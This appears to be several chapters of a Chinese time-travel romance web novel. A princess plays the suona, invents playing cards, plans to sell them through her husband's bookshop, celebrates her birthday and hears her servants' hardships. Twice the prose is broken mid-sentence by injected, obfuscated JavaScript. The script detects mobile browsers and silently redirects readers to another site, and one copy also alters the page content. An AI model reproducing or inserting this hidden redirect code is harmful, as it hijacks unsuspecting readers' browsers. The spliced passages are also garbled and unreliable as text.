她从襁褓就听爷爷吹唢呐,连抓周都是玩具喇叭。本以为天赋异禀,结果菜鸡转世,经常技巧不多,全是感情,只能闲暇时吹吹当娱乐。 如此想着,思乡之情再次充盈心间,也不知家里人如何,那边是不是也在下雨…… 一声“公主”打断了郗萌的思绪,只见晓福将一把崭新的唢呐递到自己面前。她单手接过端瞧,金檀为身,精钢化嘴,手感细腻,鼻嗅芬芳,比自己所见过的唢呐都要精致。 郗萌起身试了试音,手中转动唢呐,玩了一个花活,对丫鬟们笑道,“芜湖,献丑了!” 樱唇轻含哨片,丹田运气,吹出几声短促的音阶。随着指花翻飞,唢呐声陡然拔高,节奏越来越快,声音也愈加欢快嘹亮,让在场所有人的心跟着敞亮起来。 郗萌全身心投入吹奏,热烈欢腾的曲调在低沉的阴雨天显得格外激昂,仿佛百鸟和鸣,要破开枷锁直冲云霄,万物勃勃生机之景犹在眼前。 “叽哩哩!” 回廊一直挂着一个鸟笼,里面养着一只名为“银铃”的黄莺。可它平时惜音如金,有时都让人忽略了它的存在。没想到此时它竟被唢呐声带动,发出清脆婉转的鸣叫。 郗萌闻声微笑转身,对着银铃吹唢呐。 一人一鸟,一吹一和,场景颇为有趣,有种天人一体的和谐。 《百鸟朝凤》一曲终,银铃仰天长鸣一声,天竟渐渐放晴。 乌云仿佛是被这两重奏撕开了缺口,阳光缓缓倾洒大地。 “啪、啪、啪!” 从院门口传来掌声,郗萌定睛一看,是办完事回来的萧复,满脸惊讶又好奇的表情。 “不愧是大梁的公主。一曲唢呐把太阳都吹出来了,厉害!”萧复边走边感叹。 郗萌爽朗一笑,“大言不惭”道,“‘百般乐器,唢呐为王。此音一出,谁与争锋。’” “确实。”萧复伸手逗弄银铃,摸了摸它柔软的小脑袋,“平日银铃极少开口,要不是买时听过它叫唤,都以为它是只哑鸟了。” 本来银铃被撸|的很舒服,但似乎听明白萧复在贬低自己,抬头啄了一下他的手指。 “嘶—”萧复指肚隐隐刺痛,下意识往后收手指,随即调侃道,“哟,还不让说了?有新靠山啦?” 银铃往横杆的另一边跳了几下,头偏向郗萌,圆溜溜的眼睛望着她。 郗萌会意往前凑了几步,也开启撸|鸟模式,“我们是他乡遇知音,以乐会友。银铃可是只伶俐的小鸟,不一般呢。是不是呀?” “啾啾。”银铃听完挺挺胸脯,表示认同,好似真的通人意。 “行,你们高兴就好。” 萧复顺手拿了块点心,躺入廊中躺椅品尝,惬意悠然得享受起来,“公主,既然吹的这么好,再来一曲不?” 郗萌娇哼一声,道,“不好意思,本宫不卖艺。” “行。一曲天籁已入耳,怎敢奢求再吹声?”哪怕对方“恶言以对”,萧复依然是“逆来顺受”的好脾气,“本世子叫府中伶人来吹弹取乐吧。” 萧复手指轻挥,徐决会意而去。 郗萌见萧复闭目摇扇,遒劲的草书在眼前忽近忽远,鬼画符似的字体让自己想起了扑克牌的黑桃梅花。她瞬间灵光乍现,兴冲冲的问萧复,“你这儿有硬纸片儿吗?” 萧复被冷不丁一问,睁开了双眼,狐疑道,“找硬纸作甚?” “本宫想起了一个好玩的游戏,是用手掌大的硬纸片做成不同数字花样的牌,再依据不同的规则出牌,谁先出完或者分多算赢。”郗萌给萧复科普起扑克牌,“可是这里都没有,就想做一副牌,和大家一块儿打打牌消遣。” “听着挺有意思,好像平日里玩的骨牌,真想尽快玩玩。”萧复饶有兴趣道,“裱扇面的纸算硬,应该能用,我去取。” 郗萌为制作方便,让晓福拿来剪子,随萧复来到书房。 他从柜中拿出一沓硬纸,放到郗萌面前的桌上,等着对方妙手生牌。 郗萌拿起一张纸,和自己手掌比了比,想了想纸牌的大小。于是如小学森做手工一般对折裁剪,不多时桌上铺满了一张张长方形纸牌。 “麻烦世子准备红黑两种墨水,本宫得往牌面上画点东西。”郗萌不见外的吩咐道。 萧复倒甘愿被使唤,笑着研墨和调颜料,很期待成品的样子。 郗萌没专门练过书法国画,只在小学美术课学过基本的拿笔运笔,但瞎写瞎画的本事还是有一点的。 她像模像样的拿起毛笔,思索了片刻布局,便挥毫泼墨。她依照现世扑克牌的样式,将纸牌分为四类,左上角分别画上红桃、黑桃、梅花和方块,并依次在中间写上二至十和A、J、Q、K,也没考虑别人看不看得懂。最后,手绘两张空白牌做大小王,一张画了只红色的Q萌老虎头,但如果没有额头的“王”字,更像一只胖猫。而另一张直接就是个黑色的小猫头。 “大功告成!” 郗萌潇洒放笔,仿佛完成了什么大作,但仔细一看让人不敢恭维。 萧复倒是个会说话的主儿,别具匠心的夸道,“不错,风格流派独树一帜,说不定几百年后能卖大钱。” 郗萌假咳两声,硬生生解释道,“本宫又不是卖画的,画的简单明了,能看懂就行了。别咱俩在这儿跟赏画似的,叫大家一块来学学咋玩。” 郗萌把他们院里的丫鬟和仆役聚到一起,连乐曲班子都在一旁“听讲”。她让晓福把石桌擦干,然后将所有牌摊开,介绍扑克牌的种类、叫法、大小和摸牌出牌顺序等。 “重点讲下这四张牌”,郗萌举起红桃A、J、Q、K的牌,“他们叫‘尖儿、勾儿、圈儿、剋(kei)’,代表一、十一、十二和十三,长得都挺形象的。可能大家现在看着别扭,但玩几把就熟了。” 萧复拿起一张黑桃A,奇怪道,“直接也写数字不得了,为何还弄这么拗口的词儿?” 郗萌也不知如何解释,只道,“游戏就是这么设置的,好玩就得了。” “玩法我知道了,不就按照大小出牌,谁出完了,谁赢呗。”萧复觉得样式虽花哨,但玩法有点无趣。 “那是最基本的‘跑得快’,别的玩法还多着嘞。”郗萌想再教斗地主,可王府也算是大地主,如此说有些不妥,便现起名道,“有种玩法叫‘斗鬼儿’,三个人玩的,一人扮鬼,其他两个为凡人结盟,二对一的打法……” 郗萌细细讲起斗地主的规则,只不过把“抢地主”改为“抢法宝”,还画了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可经过几轮的洗礼,郗萌发现萧复的技术提升神速,出牌刁钻奇特,好似玩牌老手。最后,自己竟连输三局,心中不禁慨叹,“真是教会徒弟饿死师父。” 萧复倒享受看郗萌从志得意满到阴云密布,故意学她刚才的语气,“不好意思,承让了。吟诗作赋本世子确实不如您,但这玩乐之事您可能就不如我了。” “人外有人,天外有天。都正常。”郗萌大度道。 她心里却想,穿越的光环我是一点没有,打个牌还被虐,唉…… “玩儿了半天,还不知这种牌叫什么?以前怎么都没见过?”萧复为缓和气氛问道。 郗萌心说,这牌跟你们都不一个世界线,哪儿见去?要直接说叫“扑克牌”,有点不符合这古代的感觉…… 她短暂思忖道,“就叫‘纸牌’。本宫是从本闲书偶得,也不知是谁发明的,觉得挺好玩,就教大家了。” 萧复“原来如此”得点点头,但感觉这名字太普通无趣,明眸微转道,“古有‘妙笔生花’,今有‘妙手变牌’,叫它‘妙花牌’如何?” 郗萌嘴中念了一遍,颔首道,“可以呀,听着生动文雅。牌里有梅花、红桃四种花色,这名字也算应景。” 萧复一听对方欣然接受,乐呵呵继续道,“话说,独乐了不如众乐乐。本世子开了间书局,平日印书、卖书,生意半死不活。刚才玩儿的时候就想,让书局把这套牌印出来卖,可能比卖书还赚钱呢。” 郗萌听完也觉得是个不错的主意,而她还想起了现世里一个更能圈钱的点子…… 8. 攻略 “本宫还有个小想法。”郗萌忆起现世的“剁手”行为,要将商家那套营销手段传授给萧复,“除了普通的纸牌,可以找些书画大家,把牌面画的更精致高雅,此曰‘联名款’。再弄个系列,比如千里江山、仕女佳人、温润公子、山野志怪、上神仙境之类的,集齐后可兑换隐藏款妙花牌一套。还可以做成‘盲盒’,就是一种主题多种样式,其中还有个少量的珍藏款,但外包装皆相同,要的就是买来打开时的惊喜刺激。如此这般,书局的生意或许能起死回生。” “妙哉!若按公主的想法施行,广源书局何止能起死回生,财源广进都指日可待。”说话间,萧复摩拳擦掌,看架势要大赚一笔。 “可别这么说。实践出真知,还得脚踏实地干。商海历来变化莫测,不能掉以轻心。所谓,‘纸上得来终觉浅,绝知此事要躬行’嘛。”郗萌自觉她的主意还行,但不敢狂妄自大,也不希望萧复现在立下flag,日后啪啪打脸。 “所言甚是。”萧复迫不及待的站起身,似是要出门。 “不玩了?”郗萌语气略带扫兴,水汪汪的秀眸望着萧复。 萧复顿时心下一紧,抱歉道,“其实,本世子还挺想玩的。但赚钱更重要,这一大家子人的花销可不少。既然今儿有了挣钱的妙招,得赶快开|干。” “嗯,言之有理。”郗萌“知情达理”道,恹恹得伸手收拾桌上的牌。她转念想起,萧复作为纨绔,平日里经常一掷千金,确实如果不好好赚钱,很容易败家败个彻底,释然道,“你去吧。” 话音刚落。萧复突然拉起郗萌伸向大王牌的玉手,爽朗笑道,“不是‘我去’,是咱们一起去。” “咱们?” “当然啦。一起去书局赚钱!”萧复兴致勃勃说道。 郗萌闻言瞬间心花怒放,不假思索地说了句“好”。 萧复听罢嘴角笑得更开,拉着她的手腕,拔腿往府外走去。 徐决见状紧随其后,而晓福嘱咐了其他丫鬟几句,也跟了上去。 剩下的人一时面面相觑,深感主子们的行事就像一阵风,来时无影去无踪…… 他们二人步行至广源书局,打眼一看,没有一位顾客,确实门可罗雀。但店内打扫的一尘不染,无半点残败之相,显然有人精心维护。 只见一身着青衫的年轻男子正站在柜台看书,面容清俊,举止儒雅,神情悠然自若,似乎丝毫不为惨淡的生意忧心。 萧复轻咳一声,将男子从浩瀚书海中拉了出来。 男子抬眼见是萧复,立刻放下书,羞赧一笑,“不好意思世子爷。刚才看的专注没注意到您们,还望见谅。” “算了。”萧复摆摆手,叹气道,“还不知道你,一看书就什么都不顾了。可你能不能稍微对生意上一点点心。” 男子也无奈叹了口气,蹙眉道,“世子既然了解在下,自然也知道我不善商贾之道……” “行,不苛责你了,打扫的这么干净也不容易。” 说话间,萧复把郗萌领至待客之处,双双入座太师椅。 郗萌看出二人交情匪浅,可不记得原文有这号人物,低声问萧复,“他是何人?” 萧复俯身解释道,“他是沈焕,这书局的掌柜。大婚时来府上帮过忙,可能那会儿你一直蒙着红盖头没什么印象。” 沈焕将刚沏好的清茶稳稳端上,温文有礼道,“刚才不知公主驾到,有失远迎万望见谅。” “无妨。”郗萌浅笑颔首。 虽然看上去对方不认识郗宝,但不知为何,感觉他上茶时的神色没有刚进屋时自然,礼貌中带着疏离。 “多谢公主宽宥。”沈焕微笑说完,转头问萧复,“今日您们一起前来,有何重要之事吗?” 萧复将妙花牌的来龙去脉告知沈焕,询问他的意见,“你觉得如何?” 沈焕沉吟少许,点头道,“此法可行。届时我可与几位好友绘画牌面,再多顾些人制作印版,来印刷各类妙花牌。但贩卖之事还需你费心。” “你这么说,我就放心了。卖货的事儿不用你操心,全包在我身上,到时候你就在店里和伙计们数钱吧。”萧复自信满满道,“公主,可还有其他吩咐?” “你的铺子你做主便可,本宫没有什么吩咐。”郗萌其实还有点想法,但不想当着外人面直言,以免越俎代庖。 “那好。咱们走吧。” 萧复往外走到一半,回首望了望沈焕,得到一双坚定的眼神,也会意的点了点头…… 忙完诸事,已时过晌午。萧复领郗萌再至流芳楼,准备在此祭祭五脏庙。 刚落好座上好茶,郗萌便让徐决与晓福也去吃饭,无需伺候。 待屋内只剩他们两人,萧复先开口道,“你有何事要单独和我说?” “一点小想法。”郗萌秀眸微转,措好言辞,“我觉得,做生意讲究个‘人无我有,人有我优’。先声夺人,才能一炮而响。现在妙花牌还在筹备之中,务必一切保密,店里所请之人也必须稳妥可靠。不然一个人走漏风声,事情可就不好玩了。” 萧复闻言也不说话,只微笑望着她,心想,此事她不当面在店里说,应是替我着想,顾及我的面子。若是以前那副唯我独尊的心性,怎会顾及他人感受。如此,当真有趣…… “你还挺贴心嘛。”萧复歪头调侃道。虽然她的考虑他已想到,亦知沈焕会妥善选人,但心中仍有一股暖意袭来。 郗萌被看的、说的俏脸微红,举起茶杯,想饮茶掩饰,却一口茶都没喝到口中…… 萧复见状也不再逗弄郗萌,诚心诚意道,“谢谢你这么替我着想。” “不必客气,咱们现在是‘一荣俱荣,一损俱损’。你的生意好,我也受益嘛。”郗萌谦虚道。 “好。到时赚了钱给你分红,五五如何?”萧复大方的伸手比划了个“五”。 “不必,一成即可。我只不过动动嘴,人家那才是真枪实干。” “公主视金钱如鸿毛,在下佩服。”说着话,萧复斟满两杯酒,“客套话不多说了。来,干一杯!提前预祝咱们挣大钱!” 郗萌也不扭捏,举杯相碰,也豪气的道了一声“干”,而后一饮而尽。 所谓,“酒逢知己千杯少,话不投机半句多。” 清澈的酒水缓缓入喉,温润却不辣口,鼻尖萦绕一股淡淡的花香,细品还有丝丝甜味,让她想起了现世的香槟,而不知不觉竟推杯换盏了数杯。 虽然古酒度数不高,但连番下肚让她感觉如在云端,飘然若仙,理智与防备被醉意点点瓦解。思乡之情油然而生,她的心更觉无所依靠…… 眼神迷离之际,郗萌望着萧复那张笑吟吟的俊脸,混混沌沌道,“你对我是挺好的。可我……又想家了……” 郗萌言闭,阖眸后仰,靠在椅背不再说话,眼角溢出一滴泪珠…… 萧复以为她醉了,赶忙唤进晓福与徐决,小心翼翼地带她返回了王府…… 夕阳西斜,郗萌从睡梦中转醒。酒后的头疼着实不舒服,她扶额缓缓起身,抬眼便见萧复三步并两步的走了过来。 “不好意思,失态了。”郗萌尴尬道,拇指和中指重重的按了按太阳穴。 “没事,都理解,独在异乡难免思乡。在这里哪儿觉得不好,你就直说,改到你满意为止。”萧复说着回头望了望桌子,啧道,“醒酒汤凉了,我让人再重新做一碗来。” 郗萌忙摆手道,“不用,让下人们也歇歇吧。何况现在天热,凉着喝还能消消暑。” “那行,我给你端来。” 萧复将醒酒汤稳稳递到郗萌手中,脸上依然是标志性的笑容,仿佛天地间就没让他发愁之事,这乐观的性格不禁令郗萌羡慕。 慢慢饮下汤水,凉意滑过胃肠,但心莫名的被温暖,发热。 沉默稍许,头痛倦乏之感稍稍缓解,郗萌淡淡的说了声“谢谢”。 “咱俩之间不用这么客气了。”余霞拂过,仿佛将萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888245|192108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复身上的顽劣之气都拭了去。他将空碗随手放到梳妆台,“可晚膳时分已过,咱屋里就只有点点心,你还想用些什么吗?” “也不用麻烦了。中午吃了那么多美味佳肴,正好晚上这顿省了,减减肥。”郗萌掀开薄被,伸了伸懒腰,想重新抖擞精神。 “你身材多好啊,玲珑标致,用不着减。”萧复还没说完就见郗萌秀眉微蹙,话锋硬转道,“我的意思是,您天生丽质,不必为无谓之事烦心。” 郗萌看他这笨拙的模样,莞尔一笑,“行了,不用解释啦。你就这么守了我一下午吗?” “也不算。请来的郎中说你没事,睡一觉酒醒了就没事了。那么多人屋里屋外伺候着也没用,我就让他们各忙各事去了。平日里看你对下人也挺好的,不愿意乱使唤人,我就有样学样了。”萧复说着沉顿一瞬,舒了口气慢慢道,“其实,我也有私心……” “什么?”郗萌不解这“私心”为何。 “我……我想和你两个人多待会儿……”萧复垂着眸磕磕绊绊道,没了往日厚脸耍滑的痞气。 郗萌顿时无言以对,只觉脸颊渐渐发烫,心跳声“扑通扑通”,耳朵仿佛都能听到。她害羞的抬眸看向萧复,对方眼神清澈如许,眼底藏着朦胧的感情。她不敢确定…… 二人默默对视,相望无言,周围安静得落针可闻,似乎都在等待对方的答复…… 萧复心知自己唐突了,便用假咳打破了这诡异的安静,转身去外屋书桌拿来一张写着字的宣纸,岔开话题道,“我下午无所事事,就思考了思考咱们妙花牌的生意。初来乍玩儿的,买家可能都不太熟悉玩法,就想编份玩牌秘籍来指导。可这用词、规则还有不懂的地方,还得劳烦你帮忙。” 一谈到正事,郗萌也敛起小女儿的娇羞,仔细看了看纸上所写。虽然萧复平日里总说自己胸无点墨,但这字写得笔走龙蛇、飘逸遒劲,令人刮目相看。 “你的想法挺好的。只是写的有点乱,别人第一次玩儿可能看不懂。既然要做玩牌秘籍,就做个好的,什么花色、出牌类型、具体玩法全都介绍到,而且再弄个简易版,免得有人没耐心看。名字嘛,就叫‘妙花攻略’。我说你写,如何?” “求之不得。” 言罢,萧复往桌侧搬了一把木凳,请郗萌入座指教。 郗萌也并非甩手掌柜只动口,看到桌角的砚台忆起电视剧研磨的桥段,觉得挺有意思,主动请缨帮萧复磨墨。 萧复顿感受宠若惊,忙道,“别,别。你十指不沾阳春水,不适合做这些,待会墨汁染脏了手多不好,还是我来吧。” “你不说咱俩不用客气吗?研磨而已,又累不着,而且共同劳动的成果才有成就感。赶紧干活儿,别啰里啰嗦啦。” 郗萌点了点纸,示意让他认真写,自己开始口述扑克牌花色种类。 萧复只好埋案挥毫,不时行云流水的行楷跃然纸上。 “你字儿写的蛮好的。”郗萌边看边夸道,想起自己画的扑克牌,高下立判。 萧复低头憨笑一声,“谢谢夸奖,但愧不敢当啊。诗词歌赋我是一窍不通,只能反复临摹点字帖,抄文章时能让先生看过眼,可这字远达不到‘好’。” 郗萌不懂书画鉴赏,也无法给出客观的评价,只道,“我觉得字写的流畅规整就算好啦,你不必拿书法家的标准要求自己。” “嗯”,萧复深以为意点点头,“字儿能看就行,力透纸背的那份苦我可受不了。” 郗萌不由得捂嘴偷笑,觉得萧复是既躺平摆烂,又对自我认知清醒,悠哉悠哉的处事哲学也不失为一种智慧。 二人就如此你一言我一语的合作编写扑克指南。 “麻烦说慢点,我记不下来了。” “刚夸完你,就拉胯啦?” “公主啊,刚才是花色好记,现在是具体玩法,话那么多怎么记得下来。以为我是圣上身边的翰林呢?” “知道啦,我说慢点好吧。” 9. 贺礼 萧复在一张空白宣纸中央,端端正正写下“妙花攻略”四个正楷大字,标志着在二人“默契”的合作下,扑克牌玩法汇编终于顺利完成。 他拿起厚厚一沓的纸,得意洋洋得朝郗萌掸了掸,炫耀的说,“大功告成!” “嗯,合作愉快。”郗萌话锋一转,“但这只是万里长征第一步,妙花牌怎么真正推广出去,让大家买账才是关键。” 萧复拍拍胸脯,自信满满道,“这你放心,咱别的本事没有。但论吃喝玩乐的人脉,我在定州说第二,就没人敢说第一,保证全面开花。” “谦虚使人进步,骄傲使人落后。”郗萌给萧复分外高昂的士气泼泼冷水,“自信是好事,但妄自尊大就危险了。虽然说富贵险中求,但考虑周全更为稳妥。” 萧复闻言,恭敬的作了个揖,但表情依然是嬉皮笑脸,“谨遵教诲。” 郗萌看萧复一副玩世不恭的样子,撇嘴道,“你真听进去了?” 她已经把妙花牌当成了二人的事业,更是她在异世里做的第一件正事,真的希望能成功,亦不想萧复马失前蹄、阴沟翻船。 萧复随即正色道,“谢谢你不断提点,我也不是好赖不分,听得进劝。有你如此贤内助相帮,大丈夫何愁大事不成?” 萧复说道兴起之处,竟伸手揽住郗萌的玉肩,抱入自己怀中,满腔壮志蓄势待发。 瞬间,郗萌感觉好似全身触电,竟不能动弹,心跳的比之前更加猛烈…… 萧复也意识到不妥,可撒开手显得自己“做贼心虚”,而心底潜藏着一丝悸动,说不清道不明…… 他,真的想抱抱她…… “咚咚咚!” 一阵敲门声袭来,将尴尬的二人分开。 “公主,时辰不早了,是否沐浴就寝?”门外晓福轻声询问。 郗萌下意识回了句“好”。 萧复心知行为失矩,趁丫鬟们没进来赶忙道歉,“不好意思,刚才激动了。你先洗漱,我去和爹说说妙花牌的事儿。” 言罢,萧复逆着鱼贯而入的丫鬟们,快步走出房间。 “他什么意思?” 郗萌顶着这个疑问,机械的配合丫鬟们的动作,甚至最后都不知自己怎么洗完的澡。 一个人躺在柔软的床上,直勾勾的盯着床幔,她不敢想萧复是不是真的喜欢上了自己,可她为什么会紧张心跳。反复思量,她把缘由归结到自己和异性接触太少,有点应激反应了。如果真的与书中NPC发生情感纠葛,绝对不是件好事。 她强制自己不去胡思乱想,可脑海中浮现的竟是萧复多变的笑靥…… “烦死啦!” 郗萌苦恼得用小拳拳捶床,两条腿也扑棱扑棱的砸击,就差鲤鱼打挺翻越龙门了。 也不知过了多久,郗萌烦累了,也没见萧复回屋,自己迷迷糊糊的睡着了…… 后半夜,萧复蹑手蹑脚的打开房门,悄悄地行至床畔。看着郗萌皱眉的睡颜,心下一颤,下意识得想去抚平,却在对方嘤咛的一瞬,收回了即将触碰到眉间的手。 “我该拿你怎么办?……” 太阳照常升起,日子亦如往昔。 萧复依然每天带着郗萌吃吃喝喝、买买逛逛,偶尔去书局监监工,不再提那晚之事。 郗萌也得过且过,不去再想那些烦心事儿…… 时光如梭,转眼已至七月上旬。 郗萌穿越而来已有一月时间,回穿之法依然毫无头绪。实际她也知道,自己从未认真寻找,也不知从何着手,便在躺平玩乐上一路逛飙…… 虽然暂时穿不回去,但妙花牌的筹备工作已有条不紊的完成,只待一鸣惊人。 在郗萌的建议下,萧复决定七月初七七夕节开妙花牌的“新品发布会”,届时邀请定州各界的名流,誓要打响第一炮。 虽然郗萌喜欢游览玩乐,但发布会这种抛头露脸的事她不喜欢,更何况她的公主身份往那一戳,就得成万众焦点。与那么多陌生人打交道,她觉得好麻烦,便主动要求不参加首发典礼。 七月初六“夜聊会”时分,萧复躺在榻上问,“明天上午你真不去了吗?” “不去了。良家妇女如此抛头露面,于礼不合嘛。”郗萌胡诌理由道。 萧复偷笑一声,心想平日里也没见她拘泥那些俗礼,但还是顺着话茬道,“行,那你现在家里好好休息。等我这儿忙完了,给你个惊喜。” 郗萌按捺不住好奇问,“什么?” “说了还算惊喜么?”萧复挑眉反问。 “哦。那晚安啦。” 七月初七,是原主郗宝的生辰,亦是郗萌的阴历生日。她猜萧复的惊喜与其有关,内心有丝小雀跃,嘴角不禁上扬…… 翌日清晨,晓福问郗萌如何庆生,她却只道有碗长寿面即可,无需铺张浪费,只字未提萧复的事。 在她们闲聊之际,山阳王派人送来一套做工精美的黄金首饰祝贺,镶嵌的珍珠宝石琳琅满目,金灿灿的晃眼,一看就知价值不菲。 郗萌自觉无功受禄,亲自去拜谢长辈的关爱。 在仆役带领下,郗萌来到书房,只见自己的便宜公公正在挥毫泼墨。 萧渊已知郗萌来意,见她进屋立刻放下毛笔,起身寒暄道,“今日公主生辰大喜,老夫本该祝贺。您不必如此客气,还亲自来一趟。更何况老夫不擅人情世故,复儿又忙于商事,府上没能张灯结彩庆祝,多有怠慢,还望见谅。” 郗萌看着这位能做自己父亲的男人如此谦卑,有些不好意思,忙道,“您这么说就折煞晚辈了。您好心给我送生辰礼物,我该来谢谢您。” 萧渊听完欣慰一笑,神态轻松了几分,让郗萌入座说话。 “您真如复儿所说一般,与以前判若两人。萧家幸甚。”萧渊言闭又关心道,“最近和复儿相处的如何?府中吃穿用度是否习惯?” “我们相处的很好,各方面都挺习惯的,您放心。”郗萌第一次与萧渊近距离交谈,但看他脸色不佳,好像有病在身,柔声问,“您脸色不太好,是身体抱恙吗?” “老毛病了,公主不必挂心。只要你们平安,我的病就都无碍。”萧渊捂嘴轻咳两声,继续道,“你们一起做的那个妙花牌挺有意思。复儿今天还去开什么‘新品发布会’,都是闻所未闻的新鲜事儿。看你们年轻有为,我真是老了……” 郗萌见对方有点自暴自弃,打气儿道,“老话说,‘老骥伏枥,志在千里’。您正当年呢,英雄有的是用武之地。等您病好了,领我们一起大展宏图,在商场开疆拓土。” 虽知是宽慰人的话,但萧渊听得心底深处涌起一股暖意,感觉她深得萧复真传,也变得嘴甜会哄人了。赐婚圣旨送到时,他还有所担心,听闻翌阳公主嚣张跋扈,怕萧家再无宁日。未曾料到,经过一场风寒,她竟性情大变、一反当初,其中缘由虽至今不明,但能安稳度日足矣…… “借公主吉言。希望老夫早点康复,能多多少少帮你们些许。”萧渊微笑道,言语充满对小辈的慈爱,“我这儿没事,您回去罢。听说 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“谢谢大家了!”郗萌向众人拱手作揖,“相逢即是缘,能在一个屋檐下生活也算上天的眷顾。大家平日做事无不尽心尽力,本宫都铭记于心。你们可能觉得这礼物不如珍宝玉石有分量,但‘千里送鹅毛,礼轻情意重’,人与人的真心远非金钱能衡量的。希望以后大家一如既往,一起把日子过得更好!年年有今日,岁岁有今朝!” 下人们闻言更是感激涕零,再次跪地叩首。 晓福拭去眼泪,带头道,“公主言重了,能侍奉您是我们几世修来的福分。来到王府后,您对我们更加关怀备至。我们出身微贱,实在无以为报,只能在小处用用心思。” 郗萌看着众人跪伏在地,“卑躬屈膝”,心里有点不是滋味。刹那间,她根正苗红的社会主义潜能在贫苦大众面前爆发,马哲专业的光芒在人群中闪烁。 她上前将晓福扶起,也让众人起身,走到中央,亲切道,“大家不必如此自轻自贱,努力生活的人,无论做什么,都值得别人尊重。没有农民种地皇帝都得饿死,没有织女纺布贵妃都没衣服,没有商贾贩运宫里都得缺东少西,每个人的工作都很重要。人世走一遭都不容易,别太委屈了自己。” 望着众人疑惑的眼神,郗萌心知深受封建压迫的人们没太听懂这些话,不由得叹了口气。 她身侧的小丫鬟晓禄,闻言更哭的梨花带雨,好似想起什么伤心事,抽泣道,“公主,您说的是大道理。可我们这些人生来牛马不如,要不是碰到好主家,死了都没张卷席。能好好活着就不错了,怎么还敢说委不委屈……” 晓福觉得晓禄在曲解郗萌话意,正欲训斥她,被郗萌打断。 公主、百姓,身份悬殊,云泥之别。郗萌虽知人与人本质都一样,身份之别不过是特权阶级给人民上的枷锁,每个人更该自立自强,可说出来不过是不切实际的空话、虚话。 “晓禄说的有道理。本宫因为比你们会投胎,免去经历你们的那些苦难。”郗萌设身处地道,“别人那本宫管不到,但在这一亩三分地里,大家遇到什么委屈和不公都可告诉我,本宫一定还大家一个公道。” 众人听着面面相觑,不该怎么接话。或许被压迫久了,猛然枷锁松了,都不知该正常活动。 “来,不说那些虚头巴脑的了。今儿咱开个诉苦会,就说说这些年遇到的苦事儿、难事儿,互相开解开解。言无禁忌,畅所欲言。” 而后,郗萌正坐中间,众人分坐廊下两行。还抬来数张小茶几,摆上瓜子茶水,开唠! 10. 唠嗑 不唠不知道,一唠吓一跳。 现代压榨996,古代压迫007。 晓禄率先打开了话匣子,面带忧伤道,“奴婢从小家里就很穷,后来我爹还病了,家里的薄田都卖了治病。可不仅病没治好,人没了,还欠了一屁股债。没法子,我娘哭着把我抵给了债主。可奴婢一直想不通,才借了二两,怎么得还二十两……” 这短短几句话,听着淡淡的,可背后藏着多少血泪。 郗萌不禁叹了口气,“‘遍身罗绮者,不是养蚕人’。这就是用放高|利|贷攫取极高的收益,利钱比本金还多的多。不合理的借贷方式逼着穷苦人卖儿鬻女,唉……” 晓禄不懂什么是“高|利|贷”,却听出来郗萌对她的怜悯之情,继续诉苦道,“在那员外家,我每天起得比鸡早,干得比牛多,可饭都吃不饱。府里夫人还总说我浑身懒筋,不干活光吃饭。幸好后来他家犯事,全家被抄,奴婢被卖到了公主府,跟了公主。生活变好了,好到奴婢都不太敢信……” 这就是人压迫人!阶|级|斗争很重要啊! 郗萌内心感慨完,柔声开解道,“不是你们不努力,你们够勤劳了,是世道的不公、人性的丑恶,把恶果都压到你们这些普通老百姓的脑袋上了……” 另一名从公主府跟来的丫鬟晓寿听完她们的话,若有所思的沉默了少顷,而后主动道,“公主,奴婢也能说说吗?” “但讲无妨,大家都可以畅所欲言。”郗萌巧笑嫣然,亲和力瞬间拉满。 “奴婢是家生子,但听我娘说,祖上也曾有地有钱,可惜到我爷爷那辈儿就破落了。据说,当年我太爷爷是十里八乡有名的大善人,经常给穷人施粥放粮,不像晓禄说的那么坏。”晓寿说着脸上还露出了自豪的笑容。 “嗯,确实哪儿都有好人,哪儿也有坏人。但许多人一旦形成了阶级,阶级特征就不以个人的品德改变了。正所谓‘背叛阶级的个人,没有背叛阶级的阶级’。地主阶级需要靠剥削底层百姓来维持自己的生活质量和统治地位,整体的阶级属性……”郗萌见丫鬟们面面相觑,知道自己超时代的话她们听不懂,“嗐,说深了。简而言之,这世上的资源财富归拢起来就那么多,贫民百姓不受苦受穷,哪有地主老财喝香吃辣。” 众人似乎明白了一些,但郗萌感觉这话连自己都骂了。 “呃……本宫算是好人吧?”郗萌虚心发问。 丫鬟们相视而笑,异口同声道,“算!” 而晓禄似乎天生悲观,幽幽道,“我们能如今这样活着,是遇到了您这种好主子,可大部分人活得都很难。以前随您去拜佛,想着可能是我前世作孽多,今生注定受苦受难,都是命……” 郗萌以前觉得将希望寄托于宗教的人愚不可及,但如今切身体会到穷苦人的心酸,渐渐觉得有情可原。底层百姓生活的前途晦暗,看不到什么曙光,很多人无论怎么挣扎,都是在泥潭里打滚,只能以信奉神鬼得到些心理慰藉。 她虽然渴望人人平等、社会安宁,但深知自己没有兼济天下、治国理政之能,即使穿越也难以做出别人那番改天换地的丰功伟绩…… 一股深深的无力感袭来,但很快她再次振奋精神,心想既然做不到“治国平天下”,但好歹她身份是公主,做到“修身齐家”还是没问题。所谓“穷则独善其身”,况且她也不穷,就先努力管好这一亩三分地,再想以后怎么办。 